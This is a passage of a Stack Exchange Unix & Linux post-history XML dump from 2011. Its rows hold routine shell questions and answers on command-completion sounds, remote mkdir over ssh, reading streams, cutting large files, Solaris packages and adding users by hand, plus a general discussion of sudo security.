  <row Id="20329" PostHistoryTypeId="2" PostId="8609" RevisionGUID="b6244900-f0a5-4d20-a217-352f5e60b820" CreationDate="2011-03-04T23:03:21.523" UserId="73" Text="Just pick a sound on your hard drive, and put a command to play it right after the command you're waiting on; they'll happen sequentially:&#xD;&#xA;&#xD;&#xA;    $ time python MyScript.py; mplayer ~/ScriptDone.wav&#xD;&#xA;&#xD;&#xA;(You can use any player, naturally). I have a script called `alertdone` that plays a tone and shows an libnotify alert when run; I use it for exactly this occasion:&#xD;&#xA;&#xD;&#xA;    $ time python MyScript.py; alertdone &quot;Done timing&quot;&#xD;&#xA;&#xD;&#xA;It's really simple, so if you want to make your own you can base it on this (mine requires `notify-more`, `mplayer`, and `~/tones/alert_1.wav` though):&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    message=${1:-&quot;Finished working&quot;}&#xD;&#xA;    notify-more -t 10000 -i /usr/share/icons/gnome/32x32/actions/insert-object.png &quot;Process Finished&quot; &quot;$message&quot;&#xD;&#xA;    mplayer ~/tones/alert_1.wav&#xD;&#xA;" />
  <row Id="20330" PostHistoryTypeId="2" PostId="8610" RevisionGUID="725e1fdd-5d34-457c-bc74-e9fd95d06d9f" CreationDate="2011-03-04T23:05:15.637" UserId="5325" Text="Append any command that plays a sound; this could be as simple as&#xD;&#xA;&#xD;&#xA;    $ time mycommand; printf '\7'&#xD;&#xA;&#xD;&#xA;or as complex as&#xD;&#xA;&#xD;&#xA;    $ time mycommand &amp;&amp; paplay itworked.ogg || paplay bombed.ogg&#xD;&#xA;&#xD;&#xA;(Commands assume pulseaudio is installed; substitute your sound player, which will depend on your desktop environmnt.)" />
  <row Id="20331" PostHistoryTypeId="2" PostId="8611" RevisionGUID="7acaf0da-f23d-4077-a625-576af5543c2b" CreationDate="2011-03-04T23:12:06.027" UserId="3169" Text="You can also make this happen automatically.&#xD;&#xA;&#xD;&#xA;I will show you how in `zsh`, then add info about `bash`.&#xD;&#xA;&#xD;&#xA;The essence looks like this:&#xD;&#xA;&#xD;&#xA;    preexec()&#xD;&#xA;    {&#xD;&#xA;        starttime=$SECONDS&#xD;&#xA;    }&#xD;&#xA;        &#xD;&#xA;    precmd()&#xD;&#xA;    {&#xD;&#xA;        if ((SECONDS - starttime &gt;= 5)); then&#xD;&#xA;            aplay &quot;sound.wav&quot;&#xD;&#xA;            # or printf &quot;\b&quot;, or notify-send, or whatever&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You can also make it only do it if the program was Python, e.g.&#xD;&#xA;&#xD;&#xA;    preexec()&#xD;&#xA;    {&#xD;&#xA;        starttime=$SECONDS&#xD;&#xA;        case $3 in python*)&#xD;&#xA;            command_is_python=true;;&#xD;&#xA;        *)&#xD;&#xA;            command_is_python=false;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    precmd()&#xD;&#xA;    {&#xD;&#xA;        if $command_is_python &amp;&amp; ((SECONDS - starttime &gt;= 5)); then&#xD;&#xA;            aplay &quot;sound.wav&quot;&#xD;&#xA;            # or printf &quot;\b&quot;, or notify-send, or whatever&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you're using GNOME Terminal, I would also point you to [Flashing GNOME Terminal][1].  It's a patch I wrote that makes the terminal blink when a command is done, so you can Alt-Tab to something else, then it lets you know when it's done.&#xD;&#xA;&#xD;&#xA;  [1]: http://mikelward.com/software/gnome/flashing-terminal" />
  <row Id="20332" PostHistoryTypeId="5" PostId="8611" RevisionGUID="e604e958-7316-4e15-91f1-94aa97804ae1" CreationDate="2011-03-04T23:17:14.380" UserId="3169" Comment="added 326 characters in body" Text="You can also make this happen automatically.&#xD;&#xA;&#xD;&#xA;I will show you how in `zsh`, then add info about `bash`.&#xD;&#xA;&#xD;&#xA;The essence looks like this:&#xD;&#xA;&#xD;&#xA;    preexec()&#xD;&#xA;    {&#xD;&#xA;        starttime=$SECONDS&#xD;&#xA;    }&#xD;&#xA;        &#xD;&#xA;    precmd()&#xD;&#xA;    {&#xD;&#xA;        if ((SECONDS - starttime &gt;= 5)); then&#xD;&#xA;            aplay &quot;sound.wav&quot;&#xD;&#xA;            # or printf &quot;\b&quot;, or notify-send, or whatever&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You can also make it only do it if the program was Python, e.g.&#xD;&#xA;&#xD;&#xA;    preexec()&#xD;&#xA;    {&#xD;&#xA;        starttime=$SECONDS&#xD;&#xA;        case $3 in python*)&#xD;&#xA;            command_is_python=true;;&#xD;&#xA;        *)&#xD;&#xA;            command_is_python=false;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    precmd()&#xD;&#xA;    {&#xD;&#xA;        if $command_is_python &amp;&amp; ((SECONDS - starttime &gt;= 5)); then&#xD;&#xA;            aplay &quot;sound.wav&quot;&#xD;&#xA;            # or printf &quot;\b&quot;, or notify-send, or whatever&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In `bash`, the best way is to download [preexec.bash.txt][2] and source it (e.g. `. ~/preexec.bash.txt` at the top of your `~/.bashrc`, then the above (or something close to it) should work.  (Not sure about the `$3` bit to check if the command is Python.)&#xD;&#xA;&#xD;&#xA;If you're using GNOME Terminal, I would also point you to [Flashing GNOME Terminal][1].  It's a patch I wrote that makes the terminal blink when a command is done, so you can Alt-Tab to something else, then it lets you know when it's done.&#xD;&#xA;&#xD;&#xA;  [1]: http://mikelward.com/software/gnome/flashing-terminal&#xD;&#xA;  [2]: http://www.twistedmatrix.com/users/glyph/preexec.bash.txt" />
  <row Id="20333" PostHistoryTypeId="25" PostId="8607" RevisionGUID="30113e05-4057-433a-9455-f84a545b6a29" CreationDate="2011-03-04T23:23:38.543" Comment="http://twitter.com/#!/StackUnix/status/43813883324014592" />
  <row Id="20334" PostHistoryTypeId="17" PostId="8613" RevisionGUID="85c6a0bd-a8e1-44a7-b606-c1d28f12bfd7" CreationDate="2011-03-04T23:59:34.643" UserId="-1" Comment="from http://stackoverflow.com/questions/5200531/programmatically-creating-a-remote-directory-using-ssh/5200536#5200536" Text="" />
  <row Id="20335" PostHistoryTypeId="17" PostId="8614" RevisionGUID="9010ed98-ae4e-4e41-abc7-c8c4de5d6c64" CreationDate="2011-03-04T23:59:34.643" UserId="-1" Comment="from http://stackoverflow.com/questions/5200531/programmatically-creating-a-remote-directory-using-ssh/5200539#5200539" Text="" />
  <row Id="20336" PostHistoryTypeId="2" PostId="8613" RevisionGUID="86d983ec-4719-409a-b956-e4237a45a720" CreationDate="2011-03-04T23:49:30.493" UserDisplayName="Orbit" Text="you can accomplish it like this:&#xD;&#xA;&#xD;&#xA;      ssh you@serverB &quot;mkdir /path/to/dir&quot;&#xD;&#xA;&#xD;&#xA;or If you have a script on serverA....&#xD;&#xA;&#xD;&#xA;      ssh you@serverB 'bash -s' &lt; local_script.sh" />
  <row Id="20337" PostHistoryTypeId="2" PostId="8614" RevisionGUID="99d6033b-502c-4556-aa97-56e9e413d78b" CreationDate="2011-03-04T23:50:09.080" UserDisplayName="Xichen Li" Text="    ssh remote-host-ip '. ~/your_profile; mkdir your_directory'&#xD;&#xA;&#xD;&#xA;don't know what you mean exactly by &quot;by date&quot;, but you could test before mkdir as below&#xD;&#xA;&#xD;&#xA;    ssh remote-host-ip '. ~/your_profile; test -d your_directory || mkdir your_directory'" />
  <row Id="20338" PostHistoryTypeId="2" PostId="8612" RevisionGUID="cb99ddae-e8c9-45db-a473-6e7cbd3ddc58" CreationDate="2011-03-04T23:48:20.633" UserDisplayName="jdamae" Text="Using a shell script, how can I create a directory remotely from serverA -&gt; serverB using ssh? Can I pass the create directory command with the ssh command? How?&#xD;&#xA;&#xD;&#xA;I'm basically looking to create a directory remotely based on date (ex. 20110304), if it doesn't already exist." />
  <row Id="20339" PostHistoryTypeId="1" PostId="8612" RevisionGUID="cb99ddae-e8c9-45db-a473-6e7cbd3ddc58" CreationDate="2011-03-04T23:48:20.633" UserDisplayName="jdamae" Text="programmatically creating a remote directory using ssh" />
  <row Id="20340" PostHistoryTypeId="3" PostId="8612" RevisionGUID="cb99ddae-e8c9-45db-a473-6e7cbd3ddc58" CreationDate="2011-03-04T23:48:20.633" UserDisplayName="jdamae" Text="éshellàéunixà" />
  <row Id="20341" PostHistoryTypeId="17" PostId="8612" RevisionGUID="5b780b75-40b1-4a4d-bfd3-2be608e13b85" CreationDate="2011-03-04T23:59:34.643" UserId="-1" Comment="from http://stackoverflow.com/questions/5200531/programmatically-creating-a-remote-directory-using-ssh" Text="" />
  <row Id="20342" PostHistoryTypeId="2" PostId="8615" RevisionGUID="b17d91fb-fdf5-45b7-bca3-5d8920ebd551" CreationDate="2011-03-05T00:04:55.660" UserId="5325" Text="If you want to generate a date programmatically, take a look at `date +format`:&#xD;&#xA;&#xD;&#xA;    jinx:774 Z$ date +%m%d%H%M&#xD;&#xA;    03041904&#xD;&#xA;" />
  <row Id="20343" PostHistoryTypeId="5" PostId="8610" RevisionGUID="52120d09-9932-41d3-8d62-4ea8d4ac9654" CreationDate="2011-03-05T00:06:09.060" UserId="5325" Comment="small typo" Text="Append any command that plays a sound; this could be as simple as&#xD;&#xA;&#xD;&#xA;    $ time mycommand; printf '\7'&#xD;&#xA;&#xD;&#xA;or as complex as&#xD;&#xA;&#xD;&#xA;    $ time mycommand &amp;&amp; paplay itworked.ogg || paplay bombed.ogg&#xD;&#xA;&#xD;&#xA;(Commands assume pulseaudio is installed; substitute your sound player, which will depend on your desktop environment.)" />
  <row Id="20344" PostHistoryTypeId="5" PostId="8588" RevisionGUID="980eecf0-9bf2-4b0c-8801-0f2c18ef92d0" CreationDate="2011-03-05T00:09:22.690" UserId="2511" Comment="added 108 characters in body" Text="Security is always about trade-off. Root would be _most_ secure if there were no way to access it at all.&#xD;&#xA;&#xD;&#xA;I notice that your LD_PRELOAD and PATH attacks assume an attacker with acesss to your account already, or at least to your dotfiles. Sudo doesn't protect against that very well at all — if they have your password, after all, no need to try tricking you for later... they can just use `sudo` _now_.&#xD;&#xA;&#xD;&#xA;Another thing to think about is what Sudo was designed for originally: delegation of _specific_ commands (like those to manage printers) to &quot;sub-administrators&quot; (perhaps grad students in a lab) without giving away root completely. Using sudo to do _everything_ is the most common use I see now, but it's not necessarily the problem the program was meant to solve (hence the ridiculously complicated config file syntax).&#xD;&#xA;&#xD;&#xA;But, sudo-for-unrestricted-root does attempt to address another security problem: manageability of root passwords. At many organizations, these tend to be passed around like candy, written on whiteboards, and left the same forever. That leaves a big vulnerability, since revoking or changing access becomes a big production number. Even keeping track of what machine has what password becomes a challenge — let alone who _knows_ which one.&#xD;&#xA;&#xD;&#xA;And, remember that most &quot;cyber-crime&quot; comes from within. With the root password situation described, it's hard to track down who did what — something sudo with remote logging deals with pretty well.&#xD;&#xA;&#xD;&#xA;On your home system, I think it's really more a matter of the convenience of not having to remember two passwords. It's probable that many people were simply setting them to be the same — or worse, setting them to be the same initially and then letting them get out of sync, leaving the root password to rot.&#xD;&#xA;&#xD;&#xA;Using passwords _at all_ for SSH is dangerous, since password-sniffing trojaned ssh daemons are put into place in something like 90% of the real-world system compromises I've seen. It's much better to use SSH keys, and this can be a workable system for remote root access as well.&#xD;&#xA;&#xD;&#xA;But the problem there is now you've moved from password management to key management, and ssh keys aren't really very manageable. There's no way of restricting copies, and if someone does make a copy, they have all the attempts they want to brute-force the passphrase. You can make policy saying that keys must be stored on removable devices and only mounted when needed, but there's no way of enforcing that — and now you've introduced the possibility of a removable device getting lost or stolen.&#xD;&#xA;&#xD;&#xA;The highest security is going to come through one-time keys or time/counter-based cryptographic tokens. These can be done in software, but tamper-resistant hardware is even better. In the open source world, there's [WiKiD][1] and [YubiKey][2], and of course there's also the proprietary heavyweight [RSA SecurID][3]. If you're in a medium-to-large organization, or even a security-conscious small one, I highly recommend looking into one of these approaches for administrative access.&#xD;&#xA;&#xD;&#xA;It's probably overkill for home, though, where you don't really have the management hassles — as long as you follow sensible security practices.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wikidsystems.com/&#xD;&#xA;  [2]: http://www.yubico.com/yubikey&#xD;&#xA;  [3]: http://www.rsa.com/node.aspx?id=1156" />
  <row Id="20345" PostHistoryTypeId="5" PostId="8614" RevisionGUID="4f6cb40c-7ed4-4fdd-a307-169c8133ef94" CreationDate="2011-03-05T00:15:56.303" UserId="5330" Comment="added 193 characters in body; edited body" Text="    ssh remote-host-ip '. ~/your_profile; mkdir your_directory'&#xD;&#xA;&#xD;&#xA;don't know what you mean exactly by &quot;by date&quot;, but you could test before mkdir as below&#xD;&#xA;&#xD;&#xA;    ssh remote-host-ip '. ~/your_profile; test -d your_directory || mkdir your_directory'&#xD;&#xA;&#xD;&#xA;if you want a directory name as you mention, try  &#xD;&#xA;&#xD;&#xA;    ssh remote-host-ip '. ~/your_profile; test -d your_parent_directory/$(date +%Y%M%d) || mkdir your_parent_directory/$(date +%Y%M%d)'" />
  <row Id="20346" PostHistoryTypeId="5" PostId="8576" RevisionGUID="8ffb983b-57ad-45ee-bf24-019f07d6fa30" CreationDate="2011-03-05T00:20:34.943" UserId="2511" Comment="added 13 characters in body" Text="I think it is a security issue, because that &quot;Aside from the potential of my non-root user account being compromised&quot; can be rather large.&#xD;&#xA;&#xD;&#xA;But there are other increased risks beyond that. For example, you've now opened yourself up to a theoretical exploit which allows one to change permissions in the screen socket dir (`/var/run/screen` on my system, but sometimes `/tmp` is used). That exploit now has an path to getting root, which it might not otherwise.&#xD;&#xA;&#xD;&#xA;`sudo` has other advantages, if you can train yourself to use it for each command rather than doing `sudo su -`. It logs actions (which, unless you're logging remotely, doesn't meaningfully increase security, but does give you a trail of what _you've_ done). And it helps prevent accidents by requiring intentional escalation for each command, rather than switching to an entirely-privileged session." />
  <row Id="20347" PostHistoryTypeId="2" PostId="8616" RevisionGUID="e2577e17-0835-49a9-bcf3-bc1c81c6ee77" CreationDate="2011-03-05T00:24:36.017" UserId="5332" Text="We have a process that is using a working secured port using this scp command like so:&#xD;&#xA;&#xD;&#xA;`/usr/bin/scp -P 1234 -i /path/key_rsa /home/path/filename.txt user@remotehost:/tmp`&#xD;&#xA;&#xD;&#xA;I'm working on a schell script, that will use `ssh`, but not sure how to use that same port of `1234`.&#xD;&#xA;&#xD;&#xA;I tried `/usr/bin/ssh -D 1234 remotehost '. ~/my_profile; mkdir /test'` and its asking for the user pw. I know the keys are already established since the scp works fine for that user.&#xD;&#xA;&#xD;&#xA;What am I doing wrong? Thanks." />
  <row Id="20348" PostHistoryTypeId="1" PostId="8616" RevisionGUID="e2577e17-0835-49a9-bcf3-bc1c81c6ee77" CreationDate="2011-03-05T00:24:36.017" UserId="5332" Text="how to use secured port using ssh" />
  <row Id="20349" PostHistoryTypeId="3" PostId="8616" RevisionGUID="e2577e17-0835-49a9-bcf3-bc1c81c6ee77" CreationDate="2011-03-05T00:24:36.017" UserId="5332" Text="ébashàéshellàésshàéunixà" />
  <row Id="20350" PostHistoryTypeId="2" PostId="8617" RevisionGUID="28ac3903-bf0d-40dd-bb8a-1de42b33f1ec" CreationDate="2011-03-05T00:30:20.833" UserId="5325" Text="You want to use the `-p` option; `-D` is for dynamic port forwarding, that is to say creating port forwardings on an existing connection." />
  <row Id="20351" PostHistoryTypeId="2" PostId="8618" RevisionGUID="3975ced6-9aad-4c2c-bba6-620618487d94" CreationDate="2011-03-05T02:16:30.467" UserId="5334" Text="Sometimes I `cat` a stream like `/dev/input/event0`.&#xD;&#xA;&#xD;&#xA;I want to write a script that does something every time there is more output.&#xD;&#xA;&#xD;&#xA;The definition of more output might be every time it reads a byte. &#xD;&#xA;&#xD;&#xA;How can that be done? is there some command that does it?" />
  <row Id="20352" PostHistoryTypeId="1" PostId="8618" RevisionGUID="3975ced6-9aad-4c2c-bba6-620618487d94" CreationDate="2011-03-05T02:16:30.467" UserId="5334" Text="Script that keep reading a stream" />
  <row Id="20353" PostHistoryTypeId="3" PostId="8618" RevisionGUID="3975ced6-9aad-4c2c-bba6-620618487d94" CreationDate="2011-03-05T02:16:30.467" UserId="5334" Text="ébashà" />
  <row Id="20354" PostHistoryTypeId="2" PostId="8619" RevisionGUID="b274e925-d769-45c5-89f9-bc553f80d2eb" CreationDate="2011-03-05T02:17:03.580" UserId="4696" Text="I have a very big text file, about 80GB, and I need to cut a part form it that lies between two given lines. The part I need is not big, and I have not enough space left on the hard drive to do things like:&#xD;&#xA;&#xD;&#xA;    head -n 10000000 filename &gt; auxiliary_part&#xD;&#xA;    tail -n 1000 auxiliary_part &gt; needed_part&#xD;&#xA;&#xD;&#xA;How do I do that?" />
  <row Id="20355" PostHistoryTypeId="1" PostId="8619" RevisionGUID="b274e925-d769-45c5-89f9-bc553f80d2eb" CreationDate="2011-03-05T02:17:03.580" UserId="4696" Text="How to cut a large file" />
  <row Id="20356" PostHistoryTypeId="3" PostId="8619" RevisionGUID="b274e925-d769-45c5-89f9-bc553f80d2eb" CreationDate="2011-03-05T02:17:03.580" UserId="4696" Text="étextöprocessingàéfilesà" />
  <row Id="20357" PostHistoryTypeId="2" PostId="8620" RevisionGUID="e70b3db6-f345-4a53-8f1c-ee142dbee543" CreationDate="2011-03-04T21:56:10.197" UserDisplayName="noisesolo" Text="I need to update the following packages:&#xD;&#xA;&#xD;&#xA;    SUNWjaf&#xD;&#xA;    SUNWjato&#xD;&#xA;    SUNWjmail&#xD;&#xA;&#xD;&#xA;I read that the updated versions of these packages can be found on the latest version of Solaris, and that it's possible to just install the specific packages I want.&#xD;&#xA;&#xD;&#xA;I can only find them as directories in the .iso and they all have the following structure:&#xD;&#xA;&#xD;&#xA;    |-- archive&#xD;&#xA;    |   |-- none.7z&#xD;&#xA;    |-- install&#xD;&#xA;    |   |-- copyright&#xD;&#xA;    |   |-- depend&#xD;&#xA;    |   |-- i.none&#xD;&#xA;    |-- pkginfo&#xD;&#xA;    |-- pkgmap&#xD;&#xA;    |-- reloc&#xD;&#xA;&#xD;&#xA;Is it possible to install these as some sort of package? Or turn them into a .pkg?&#xD;&#xA;&#xD;&#xA;Thanks for any help." />
  <row Id="20358" PostHistoryTypeId="1" PostId="8620" RevisionGUID="e70b3db6-f345-4a53-8f1c-ee142dbee543" CreationDate="2011-03-04T21:56:10.197" UserDisplayName="noisesolo" Text="Installing individual packages from Solaris .iso" />
  <row Id="20359" PostHistoryTypeId="3" PostId="8620" RevisionGUID="e70b3db6-f345-4a53-8f1c-ee142dbee543" CreationDate="2011-03-04T21:56:10.197" UserDisplayName="noisesolo" Text="ésolarisà" />
  <row Id="20360" PostHistoryTypeId="17" PostId="8620" RevisionGUID="3c0b789b-ca50-4bc0-a71d-6372604d374e" CreationDate="2011-03-05T02:23:37.140" UserId="-1" Comment="from http://stackoverflow.com/questions/5199740/installing-individual-packages-from-solaris-iso" Text="" />
  <row Id="20361" PostHistoryTypeId="25" PostId="8581" RevisionGUID="f75f1015-2784-4d92-b393-d02b2f9b20dc" CreationDate="2011-03-05T02:23:38.583" Comment="http://twitter.com/#!/StackUnix/status/43859181979189248" />
  <row Id="20362" PostHistoryTypeId="2" PostId="8621" RevisionGUID="b0259f44-77c8-4a7a-9cac-5a6626453d17" CreationDate="2011-03-05T02:23:42.837" UserId="5325" Text="Pipe one to the other:&#xD;&#xA;&#xD;&#xA;    head -n 10000000 filename | tail -n 1000 &gt; needed_part&#xD;&#xA;" />
  <row Id="20363" PostHistoryTypeId="4" PostId="8619" RevisionGUID="e3421e24-7f67-4d59-a789-7b361995d27f" CreationDate="2011-03-05T02:23:49.453" UserId="2511" Comment="edited title" Text="How can I cut a large file in place?" />
  <row Id="20364" PostHistoryTypeId="2" PostId="8622" RevisionGUID="fe3384e5-1625-476a-9d71-3bdd5c141a3d" CreationDate="2011-03-05T02:25:50.373" UserId="146" Text="They already are a package - simply use `pkgadd -d /path/to/cdrom/Product SUNWjaf SUNWjato SUNWjmail` or whatever the parent directory is containing those subdirectories." />
  <row Id="20365" PostHistoryTypeId="2" PostId="8623" RevisionGUID="c743209e-f8a7-4839-9b2d-bd53d8279697" CreationDate="2011-03-05T02:28:05.550" UserId="5325" Text="From a shell script you will be limited to complete lines.  You'll need to use C/Perl/Python/whatever for finer grained reading.&#xD;&#xA;&#xD;&#xA;    while read line; do&#xD;&#xA;      # do something based on content of $line; remember to quote it&#xD;&#xA;    done &lt;/dev/input/event0&#xD;&#xA;" />
  <row Id="20366" PostHistoryTypeId="2" PostId="8624" RevisionGUID="d3257c6a-80b7-4bdb-9b53-edaeb7ac8b57" CreationDate="2011-03-05T02:33:50.317" UserId="3852" Text="    sed -n '3,10p' big-file.txt &gt; your-section.txt&#xD;&#xA;&#xD;&#xA;Replace 3 and 10 with your range of lines. The sed commands basically says print (`p`) everything between lines 3 and 10. The `-n` tells it to do it quietly, otherwise it prints out the input as its reading the file. &#xD;&#xA;" />
  <row Id="20367" PostHistoryTypeId="2" PostId="8625" RevisionGUID="e126f496-a163-4f0f-8f03-3bf60c4ddb3d" CreationDate="2011-03-05T02:51:48.453" UserId="5298" Text="Run below commands again and check...&#xD;&#xA;&#xD;&#xA;    sudo /etc/init.d/apache2 stop&#xD;&#xA;    sudo apt-get remove --purge apache2 php5&#xD;&#xA;    sudo apt-get remove --purge libapache2-mod-php5&#xD;&#xA;    sudo apt-get install php5 apache2 libapache2-mod-php5&#xD;&#xA;    sudo /etc/init.d/apache2 start&#xD;&#xA;    sudo a2enmod php5&#xD;&#xA;    sudo /etc/init.d/apache2 force-reload" />
  <row Id="20368" PostHistoryTypeId="2" PostId="8626" RevisionGUID="8831f7cd-eed4-43a8-9dc7-1e87acaee0ad" CreationDate="2011-03-05T04:03:05.060" UserId="3519" Text="A variation on geekosaur's answer:  &#xD;&#xA;You might want to try `read -n 1 byte` to read one byte at a time, then do something with `$byte`." />
  <row Id="20369" PostHistoryTypeId="5" PostId="8626" RevisionGUID="ff5cfe30-9932-46dc-8b35-11adb3499451" CreationDate="2011-03-05T04:15:03.627" UserId="3519" Comment="added 632 characters in body" Text="A variation on geekosaur's answer:  &#xD;&#xA;You might want to try `read -n 1 byte` to read one byte at a time, then do something with `$byte`.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Just tried this as I had never used that command before (just looked up `info bash`), but it seems to much all white space and line endings. I don't have an explanation for this yet.&#xD;&#xA;&#xD;&#xA;Try the following scripts to fine tune command arguments:&#xD;&#xA;&#xD;&#xA;    (for j in $(seq 1 10); do for i in $(seq 1 100); do echo -n &quot;$i, &quot;; sleep .02; done; echo &quot;&amp; $j.&quot;; done) | (while read line; do echo $line; done)&#xD;&#xA;&#xD;&#xA;    (for j in $(seq 1 10); do for i in $(seq 1 100); do echo -n &quot;$i, &quot;; sleep .05; done; echo &quot;&amp; $j.&quot;; done) | (while read -n 1 byte; do echo -n &quot;$byte&quot;; done)&#xD;&#xA;&#xD;&#xA;So unfortunately this does not give the expected result." />
  <row Id="20370" PostHistoryTypeId="5" PostId="8562" RevisionGUID="57091e63-18a7-4414-bf06-d120796f7ad9" CreationDate="2011-03-05T05:06:08.310" UserId="3999" Comment="Added list of Service Type values." Text="I am looking for an example for a [nautilus][1] (fie manager) connect to service custom location.&#xD;&#xA;&#xD;&#xA;    $ nautilus&#xD;&#xA;&#xD;&#xA;Activate connection editor:&#xD;&#xA;    &#xD;&#xA;    File&gt;Connect To Server...&gt;&#xD;&#xA;&#xD;&#xA;I am looking for an example or two for &quot;Location&quot; in the pop up:&#xD;&#xA;    &#xD;&#xA;    Service Type: [Custom Location]&#xD;&#xA;    Location: [???]&#xD;&#xA;    [x] Add bookmark&#xD;&#xA;    Bookmark name: [xyz]&#xD;&#xA;    &lt;Connect&gt;&#xD;&#xA;&#xD;&#xA;Service Type values are:&#xD;&#xA;&#xD;&#xA; - SSH&#xD;&#xA; -FTP (with login)&#xD;&#xA; - Public FTP&#xD;&#xA; - Windows Share&#xD;&#xA; - WebDAV (HTTP)&#xD;&#xA; - Secure WebDAV (HTTPS)&#xD;&#xA; - Custom Location&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Nautilus_(file_manager) &#xD;&#xA;" />
  <row Id="20371" PostHistoryTypeId="5" PostId="2080" RevisionGUID="b9eadf4c-6f44-461a-ba1f-23ca62155bf8" CreationDate="2011-03-05T05:19:54.710" UserId="1207" Comment="edited body" Text="Actually, you don't need the cat, with:&#xD;&#xA;&#xD;&#xA;    head textfile -n 45 | tail -n 25&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    awk &quot;NR &gt; 19 &amp;&amp; NR &lt; 46&quot; texfile&#xD;&#xA;&#xD;&#xA;it's enough" />
  <row Id="20372" PostHistoryTypeId="5" PostId="2103" RevisionGUID="81b01bea-34bd-4f05-90c3-08f2cb12db79" CreationDate="2011-03-05T05:21:24.630" UserId="1207" Comment="added 82 characters in body" Text="Since sed and awk were already taken, here is a perl solution:&#xD;&#xA;&#xD;&#xA;    perl -nle &quot;print if ($. &gt; 19 &amp;&amp; $. &lt; 46)&quot; &lt; textfile&#xD;&#xA;&#xD;&#xA;Or, as pointed out in the comments:&#xD;&#xA;&#xD;&#xA;    perl -ne 'print if 20..45' textfile" />
  <row Id="20373" PostHistoryTypeId="2" PostId="8627" RevisionGUID="3f72c089-41a7-4be1-b186-0e12f36edef0" CreationDate="2011-03-05T05:21:32.887" UserId="3413" Text="I have a system which was designed for use by root only and I want to run an FTP server on it. The software I use handles authentication by using same username and password as OS itself. To me it looks safer to have another user for FTP data transfer and another which would just run FTP server.&#xD;&#xA;&#xD;&#xA;So here's my problem: As I've said, system was designed to be used only by root and there's no useradd or anything similar, as far as I can see. Is it possible to add user by hand?&#xD;&#xA;&#xD;&#xA;I'm running OpenWRT Backfire 10.03.1-rc4, if it matters, but generic answers would be best." />
  <row Id="20374" PostHistoryTypeId="1" PostId="8627" RevisionGUID="3f72c089-41a7-4be1-b186-0e12f36edef0" CreationDate="2011-03-05T05:21:32.887" UserId="3413" Text="How do I add a new user to a GNU/LInux system by hand?" />
  <row Id="20375" PostHistoryTypeId="3" PostId="8627" RevisionGUID="3f72c089-41a7-4be1-b186-0e12f36edef0" CreationDate="2011-03-05T05:21:32.887" UserId="3413" Text="éusersà" />
  <row Id="20376" PostHistoryTypeId="25" PostId="8619" RevisionGUID="91787a65-ec3d-4301-939c-140630268e8f" CreationDate="2011-03-05T05:23:38.623" Comment="http://twitter.com/#!/StackUnix/status/43904480529485824" />
  <row Id="20377" PostHistoryTypeId="6" PostId="2072" RevisionGUID="a0b2b354-7a93-4cf2-8d71-b5717c841063" CreationDate="2011-03-05T05:27:51.520" UserId="1207" Comment="edited tags" Text="écommandölineàétextöprocessingà" />
  <row Id="20378" PostHistoryTypeId="4" PostId="8627" RevisionGUID="1ddf3b34-6b58-42e5-a2a9-90f96e0e5440" CreationDate="2011-03-05T05:33:18.433" UserId="3413" Comment="edited title" Text="How do I add a new user to a GNU/Linux system by hand?" />
  <row Id="20379" PostHistoryTypeId="2" PostId="8628" RevisionGUID="d9dd68e1-30d2-4f01-af5d-a3e2ecad9777" CreationDate="2011-03-05T05:36:47.837" UserId="5325" Text="Very roughly:&#xD;&#xA;&#xD;&#xA;    # cp /etc/passwd /etc/passwd.bak # just in case you e.g. forget one of the &gt;s&#xD;&#xA;    # echo 'ftpuser:x:1000:1000:ftp user:/home/ftpuser:/bin/sh' &gt;&gt;/etc/passwd&#xD;&#xA;    # cp /etc/shadow /etc/shadow.bak&#xD;&#xA;    # echo 'ftpuser:x:15020:0:99999:7:::' &gt;&gt;/etc/shadow&#xD;&#xA;    # cp /etc/group /etc/group.bak&#xD;&#xA;    # echo 'ftpuser:x:1000:' &gt;&gt;/etc/group&#xD;&#xA;    # cp /etc/gshadow /etc/gshadow.bak&#xD;&#xA;    # echo 'ftpuser:x:1000:' &gt;&gt;/etc/gshadow&#xD;&#xA;    # passwd ftpuser&#xD;&#xA;    # mkdir /home/ftpuser&#xD;&#xA;    # chown ftpuser:ftpuser /home/ftpuser&#xD;&#xA;&#xD;&#xA;You should of course make sure the username, user id, and group id are available." />
  <row Id="20380" PostHistoryTypeId="5" PostId="8626" RevisionGUID="fe43eed0-1e5a-48f3-8f3f-8f0da30c60a0" CreationDate="2011-03-05T05:55:45.900" UserId="3519" Comment="added 240 characters in body; added 86 characters in body; added 81 characters in body" Text="A variation on geekosaur's answer:  &#xD;&#xA;You might want to try `read -n 1 byte` to read one byte at a time, then do something with `$byte`.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Just tried this as I had never used that command before (just looked up `info bash`), but it seems to much all white space and line endings. I don't have an explanation for this yet.&#xD;&#xA;&#xD;&#xA;Try the following scripts to fine tune command arguments:&#xD;&#xA;&#xD;&#xA;    (for j in $(seq 1 10); do for i in $(seq 1 100); do echo -n &quot;$i, &quot;; sleep .02; done; echo &quot;&amp; $j.&quot;; done) | (while read line; do echo $line; done)&#xD;&#xA;&#xD;&#xA;    (for j in $(seq 1 10); do for i in $(seq 1 100); do echo -n &quot;$i, &quot;; sleep .05; done; echo &quot;&amp; $j.&quot;; done) | (while read -n 1 byte; do echo -n &quot;$byte&quot;; done)&#xD;&#xA;&#xD;&#xA;So unfortunately this does not give the expected result.&#xD;&#xA;&#xD;&#xA;EDIT (with Chris' help):&#xD;&#xA;&#xD;&#xA;    (for j in $(seq 1 10); do for i in $(seq 1 100); do echo -n &quot;$i, &quot;; sleep .02; done; echo &quot;&amp; $j.&quot;; done) | (while IFS= read -N 1 byte; do echo -n &quot;$byte&quot;; 